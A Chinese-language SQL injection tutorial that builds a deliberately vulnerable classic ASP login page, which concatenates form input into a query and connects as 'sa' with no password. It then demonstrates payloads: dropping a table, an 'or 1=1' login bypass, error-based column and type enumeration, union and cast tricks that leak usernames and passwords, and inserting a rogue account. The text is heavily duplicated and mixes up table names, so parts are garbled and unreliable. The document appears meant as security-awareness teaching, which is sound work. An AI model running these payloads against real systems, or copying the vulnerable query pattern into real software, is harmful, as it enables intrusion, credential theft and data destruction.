***的SQL***演示:
指的是***或恶意用户在应用程序不知道的情况下通过应用程序来对SQL 数据库执行恶意的代码,一旦***成功,可以做任何事情,如查看数据表中的信息,删除数据表的数据,到获得网络访问权限等,我们在使用一些商用应用程序的时候,如一些第三方软件,会要求我们在他们的使用界面中输入一个用户名和口令,这个用户名和口令不是数据库中的用户名和口令,而是这些商用应用软件所定义的用户名和口令,通过这些用户名和口令来进行相应的操作。这种使用方法可以进行精细的安全控制。所以当前的应用软件中大多都使用这种方法。
而我们这种SQL***会对这种方法进行***。
我们在这里介绍的内容,主要是为了使用大家在以后的工作中加强安全意识
指的是***或恶意用户在应用程序不知道的情况下通过应用程序来对SQL 数据库执行恶意的代码,一旦***成功,可以做任何事情,如查看数据表中的信息,删除数据表的数据,到获得网络访问权限等,我们在使用一些商用应用程序的时候,如一些第三方软件,会要求我们在他们的使用界面中输入一个用户名和口令,这个用户名和口令不是数据库中的用户名和口令,而是这些商用应用软件所定义的用户名和口令,通过这些用户名和口令来进行相应的操作。这种使用方法可以进行精细的安全控制。所以当前的应用软件中大多都使用这种方法。
而我们这种SQL***会对这种方法进行***。
我们在这里介绍的内容,主要是为了使用大家在以后的工作中加强安全意识
演示过程:
我们要建立一个表来存放用户名和口令及访问级别
我们要建立一个表来存放用户名和口令及访问级别
create table users (username varchar(10),password varchar(20), access int)
insert into USERS values ('dufei','杜飞',1)
利用DW建一个登录页面
详见文档:
详见文档:
<body>
<form name="form1" method="post" action="logined.asp">
<table width="75%" border="1">
<tr>
<td colspan="2"><div align="center"><font size="5"><strong>用户登录</strong></font></div></td>
</tr>
<tr>
<td height="21">
<div align="right">用户名:</div></td>
<td><input name="login_nm" type="text" id="login_nm"></td>
</tr>
<tr>
<td><div align="right">口令:</div></td>
<td><input name="login_pw" type="text" id="login_pw"></td>
</tr>
<tr>
<td colspan="2"><div align="center">
<input type="submit" name="Submit" value="提交">
<input type="reset" name="Submit2" value="重置">
</div></td>
</tr>
</table>
</form>
</body> <%
username=request.form("login_nm")
password=request.form("login_pw")
set conn=server.createobject("adodb.connection")
conn.open "uid=sa;pwd=;server=localhost;driver={sql server};database=itet"
sql="select * from logins where USERNAME='"&username &"' and PASSWORD= '"&password &"'"
set rs=conn.execute(sql)
if not rs.eof=true then
response.write("登录成功,你可以得到任何你所需要的数据")
else
response.write("登录失败")
end if
%>
<form name="form1" method="post" action="logined.asp">
<table width="75%" border="1">
<tr>
<td colspan="2"><div align="center"><font size="5"><strong>用户登录</strong></font></div></td>
</tr>
<tr>
<td height="21">
<div align="right">用户名:</div></td>
<td><input name="login_nm" type="text" id="login_nm"></td>
</tr>
<tr>
<td><div align="right">口令:</div></td>
<td><input name="login_pw" type="text" id="login_pw"></td>
</tr>
<tr>
<td colspan="2"><div align="center">
<input type="submit" name="Submit" value="提交">
<input type="reset" name="Submit2" value="重置">
</div></td>
</tr>
</table>
</form>
</body> <%
username=request.form("login_nm")
password=request.form("login_pw")
set conn=server.createobject("adodb.connection")
conn.open "uid=sa;pwd=;server=localhost;driver={sql server};database=itet"
sql="select * from logins where USERNAME='"&username &"' and PASSWORD= '"&password &"'"
set rs=conn.execute(sql)
if not rs.eof=true then
response.write("登录成功,你可以得到任何你所需要的数据")
else
response.write("登录失败")
end if
%>
******的第一个例子:删除表
建立一个测试表: create table t1 (name varchar(10)) 一会把它删除
在用户名框中输入:’; drop table t1 –
此时出现一个登录失败的提示,但让我们来看一下T1表是否还存在!
已经消失在世界的尽头了!再也不会回来了
此时为什么不成功,就是SQL***在起作用:
我们来分析一下:
从正常登录:输入:DUFEI 杜飞 1 到输入:’; drop table –
分别是:
select * from logins where USERNAME=’u1’ and PASSWORD=’p1’;
select * from logins where USERNAME=’’; drop table t1 -- and PASSWORD=’p1’;
因为空用户名是错误的,所以会报登录失败
建立一个测试表: create table t1 (name varchar(10)) 一会把它删除
在用户名框中输入:’; drop table t1 –
此时出现一个登录失败的提示,但让我们来看一下T1表是否还存在!
已经消失在世界的尽头了!再也不会回来了
此时为什么不成功,就是SQL***在起作用:
我们来分析一下:
从正常登录:输入:DUFEI 杜飞 1 到输入:’; drop table –
分别是:
select * from logins where USERNAME=’u1’ and PASSWORD=’p1’;
select * from logins where USERNAME=’’; drop table t1 -- and PASSWORD=’p1’;
因为空用户名是错误的,所以会报登录失败
第二个例子:模仿USERS中的第一个用户登录到我们的系统:
' or (1=1) --
分析:相当于在SQL 查询分析器中输入:
select * from logins where USERNAME=’’ or 1=1 -- and PASSWORD=’杜飞’;
通过这个例子可以看到,SQL ***确实可以起到进入系统,破坏系统的作用
' or (1=1) --
分析:相当于在SQL 查询分析器中输入:
select * from logins where USERNAME=’’ or 1=1 -- and PASSWORD=’杜飞’;
通过这个例子可以看到,SQL ***确实可以起到进入系统,破坏系统的作用
当***尝到了甜头,就会使用更为危险的手段来***
第三个例子:如果***在文本框中输入:' having 1=1 --
是没有成功,要的就是这个效果,没有成功,但却得到了我们想要的东西,或者是说,可以从中得到我们感兴趣的东西:暴露了很多危险的东西,这些是作为一个***想知道的东西
'USERNAME' 在选择列表中无效,知道了用户名口令存放在哪个表,哪个字段中。然后可以猜到USERNAME存放的就是用户名
那么知道了这个有什么用 就可以进行更为危险的***
现在***想利用所知道的情况再进一步想知道这个表中还有什么字段,以及每个字段的类型。
此时再输入:' group by USERS.NAME having 1=1 --
又得到了一列:'USERS.PASSWORD' 在选择列表中无效,这时候想都不用想,这里肯定是口令。
再想得到第三个字段名是什么:
' group by USERS.USERNAME,USER.PASSWORD having 1=1 --
依次可以知道第四个,五个。。。。。。。字段
直到不出现错误提示,则说明所有字段都得到了。
是没有成功,要的就是这个效果,没有成功,但却得到了我们想要的东西,或者是说,可以从中得到我们感兴趣的东西:暴露了很多危险的东西,这些是作为一个***想知道的东西
'USERNAME' 在选择列表中无效,知道了用户名口令存放在哪个表,哪个字段中。然后可以猜到USERNAME存放的就是用户名
那么知道了这个有什么用 就可以进行更为危险的***
现在***想利用所知道的情况再进一步想知道这个表中还有什么字段,以及每个字段的类型。
此时再输入:' group by USERS.NAME having 1=1 --
又得到了一列:'USERS.PASSWORD' 在选择列表中无效,这时候想都不用想,这里肯定是口令。
再想得到第三个字段名是什么:
' group by USERS.USERNAME,USER.PASSWORD having 1=1 --
依次可以知道第四个,五个。。。。。。。字段
直到不出现错误提示,则说明所有字段都得到了。
下面还想知道每个字段的类型是什么类型,为以后进一步的***做准备
' union select avg(USERS.USERNAME) from USERS--
能以 varchar 数据类型作为参数
' union select avg(USERS.PASSWORD) from USERS--
' union select avg(USERS.USERNAME) from USERS--
能以 varchar 数据类型作为参数
' union select avg(USERS.PASSWORD) from USERS--
求第三个字段ACCESS也是一样,或者用' and access='f' --
这就得到了三个字段和每个字段的类型了。
但更精彩的来了,我想知道每个字段的具体内容:
' union select cast(logins.login_nm as int),1,2 from logins --
将 varchar 值 'u1' 转换为数据类型为 int 的列时发生语法错误 得到了U1,这是一个用户名。
这对***是很有价值的,但是对系统来说是很危险的。
再进一步:他知道了你的数据表中有一个用户是U1,那么U1的口令是多少呢
' union select cast(logins.login_pw as int),1,2 from logins -- 别的地方不改,就改一个pw 如有多行,
最好用' union select cast(logins.login_pw as int),1,2 from logins where logins.login_nm='u1'--
即可
' union select cast(logins.login_nm as int),1,2 from logins --
将 varchar 值 'u1' 转换为数据类型为 int 的列时发生语法错误 得到了U1,这是一个用户名。
这对***是很有价值的,但是对系统来说是很危险的。
再进一步:他知道了你的数据表中有一个用户是U1,那么U1的口令是多少呢
' union select cast(logins.login_pw as int),1,2 from logins -- 别的地方不改,就改一个pw 如有多行,
最好用' union select cast(logins.login_pw as int),1,2 from logins where logins.login_nm='u1'--
即可
到现在为止,他知道了用户名口令就可以了,
那如果再高级一点,他可以不用你的用户名口令,我可以直接向你的表中写一个用户名口令,用自己的。
';insert into logins values ('dufei','dufei',1) --
测试:
那如果再高级一点,他可以不用你的用户名口令,我可以直接向你的表中写一个用户名口令,用自己的。
';insert into logins values ('dufei','dufei',1) --
测试: